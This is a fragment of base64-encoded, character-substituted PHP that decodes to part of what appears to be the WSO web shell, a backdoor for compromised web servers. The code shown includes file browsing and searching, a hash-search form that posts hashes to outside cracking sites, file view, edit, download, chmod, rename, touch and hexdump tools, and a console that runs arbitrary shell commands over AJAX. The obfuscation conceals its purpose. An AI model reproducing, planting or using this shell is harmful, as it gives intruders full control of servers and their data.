VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KCX0NCgk1Y2gyIjwvcHI1PjwvZDR2Pjxicj48aDY+UzUxcmNoIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSAybnMzYm00dD1cImcobjNsbCx0aDRzLmN3ZC52MWwzNSxuM2xsLHRoNHMudDV4dC52MWwzNSx0aDRzLmY0bDVuMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHQxYmw1IGM1bGxwMWRkNG5nPSc2JyBjNWxsc3AxYzRuZz0nMCcgdzRkdGg9J2kwJSc+DQoJCQk8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UDF0aDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nY3dkJyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OMW01OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdmNGw1bjFtNScgdjFsMzU9JyonIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPg0KCQkJPC90MWJsNT48L2Yycm0+IjsNCg0KCWYzbmN0NDJuIHdzMlI1YzNyczR2NUdsMmIoJHAxdGgpIHsNCgkJNGYoczNic3RyKCRwMXRoLCAtNikgIT0gJy8nKQ0KCQkJJHAxdGguPScvJzsNCgkJJHAxdGhzID0gQDFycjF5XzNuNHEzNShAMXJyMXlfbTVyZzUoQGdsMmIoJHAxdGguJF9QT1NUWydwbyddKSwgQGdsMmIoJHAxdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCTRmKDRzXzFycjF5KCRwMXRocykmJkBjMjNudCgkcDF0aHMpKSB7DQoJCQlmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgew0KCQkJCTRmKEA0c19kNHIoJDR0NW0pKXsNCgkJCQkJNGYoJHAxdGghPSQ0dDVtKQ0KCQkJCQkJd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJNGYoNW1wdHkoJF9QT1NUWydwYSddKSB8fCBAc3RycDJzKGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgJF9QT1NUWydwYSddKSE9PWYxbHM1KQ0KCQkJCQkJNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIsXCJcIiknPiIuaHRtbHNwNWM0MWxjaDFycygkNHQ1bSkuIjwvMT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJNGYoQCRfUE9TVFsncG8nXSkNCgkJd3MyUjVjM3JzNHY1R2wyYigkX1BPU1RbJ2MnXSk7DQoJNWNoMiAiPC9kNHY+PGJyPjxoNj5TNTFyY2ggZjJyIGgxc2g6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCgkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PScxY3QnIHYxbDM1PSdmNG5kJy8+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrNG5nLnIzJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy5yMy80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdjcjFja2Yyci5tNScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL2NyMWNrZjJyLm01LzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCTwvZjJybT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KCTRmKCA0c3M1dCgkX1BPU1RbJ3A2J10pICkNCgkJJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQk0ZihANHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQoJCQloNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7DQoJCQk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCJtNG01X2MybnQ1bnRfdHlwNSIpKSB7DQoJCQkJJHR5cDUgPSBAbTRtNV9jMm50NW50X3R5cDUoJF9QT1NUWydwNiddKTsNCgkJCQloNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsNCgkJCX0gNWxzNQ0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0iKTsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICJyIik7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSghQGY1MmYoJGZwKSkNCgkJCQkJNWNoMiBAZnI1MWQoJGZwLCA2MGF1KTsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfTV4NHQ7DQoJfQ0KCTRmKCBAJF9QT1NUWydwYSddID09ICdta2Y0bDUnICkgew0KCQk0ZighZjRsNV81eDRzdHMoJF9QT1NUWydwNiddKSkgew0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsNCgkJCTRmKCRmcCkgew0KCQkJCSRfUE9TVFsncGEnXSA9ICI1ZDR0IjsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsNCgkJNWNoMiAnRjRsNSBuMnQgNXg0c3RzJzsNCgkJd3MyRjIydDVyKCk7DQoJCXI1dDNybjsNCgl9DQoJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KCTRmKCEkMzRkKSB7DQoJCSQzNGRbJ24xbTUnXSA9IEBmNGw1MnduNXIoJF9QT1NUWydwNiddKTsNCgkJJGc0ZFsnbjFtNSddID0gQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pOw0KCX0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7DQoJNWNoMiAnPHNwMW4+TjFtNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycyhAYjFzNW4xbTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxzcDFuPkNyNTF0NSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNWN0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QWNjNXNzIHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1MXQ0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5NMmQ0ZnkgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nPGJyPjxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJNWxzNQ0KCQkkbSA9IDFycjF5KCdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCglmMnI1MWNoKCRtIDFzICR2KQ0KCQk1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICc1ZDR0JzoNCgkJCTRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJCTVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQoJCQkJJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsNCgkJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCJ3Iik7DQoJCQkJNGYoJGZwKSB7DQoJCQkJCUBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7DQoJCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkJNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQoJCQkJCUB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOw0KCQkJCX0NCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLFwnNlwnK3RoNHMudDV4dC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9dDV4dCBjbDFzcz1iNGcxcjUxPic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g1eGQzbXAnOg0KCQkJJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gMXJyMXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGw1biA9IHN0cmw1bigkYyk7DQoJCQlmMnIgKCQ0PTA7ICQ0PCRsNW47ICsrJDQpIHsNCgkJCQkkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KCQkJCXN3NHRjaCAoIDJyZCgkY1skNF0pICkgew0KCQkJCQljMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDk6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQlkNWYxM2x0OiAkaFthXSAuPSAkY1skNF07IGJyNTFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCTRmICgkbiA9PSBvYSkgew0KCQkJCQkkbiA9IDA7DQoJCQkJCTRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQoJCQkJCSRoWzZdIC49ICc8YnI+JzsNCgkJCQkJJGhbYV0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJNWNoMiAnPHQxYmw1IGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9aSBiZ2MybDJyPSNhYWFhYWE+PHRyPjx0ZCBiZ2MybDJyPSNvb29vb28+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNhOGE4YTg+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNvb29vb28+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3I1bjFtNSc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj4nOw0KCQkJCTVsczUNCgkJCQkJZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLCInLjNybDVuYzJkNSgkX1BPU1RbJ3BvJ10pLiciLG4zbGwsIiIpPC9zY3I0cHQ+Jyk7DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICd0MjNjaCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCgkJCQk0ZigkdDRtNSkgew0KCQkJCQk0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCgkJCQkJCTVjaDIgJ0YxNGwhJzsNCgkJCQkJNWxzNQ0KCQkJCQkJNWNoMiAnVDIzY2g1ZCEnOw0KCQkJCX0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0JywgdHIzNSk7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnLCAwKTsNCg0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KCQkkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQk0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpCXsNCgkJCTRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KCQkJCTVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCTVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KCQk1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCgkJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgMCk7DQoJd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCgl2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCgk0ZihuID09IG84KSB7DQoJCWMzci0tOw0KCQk0ZihjM3I+PTApDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzcisrOw0KCX0gNWxzNSA0ZihuID09IHUwKSB7DQoJCWMzcisrOw0KCQk0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyLS07DQoJfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KCWNtZHMucDJwKCk7DQoJY21kcy5wM3NoKGNtZCk7DQoJY21kcy5wM3NoKCcnKTsNCgljM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCgk1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQoJZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQoJCTRmKCR2ID09ICcnKSB7DQoJCQk1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQk1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQoJfQ0KCQ0KCTVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KCX0NCgk1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsi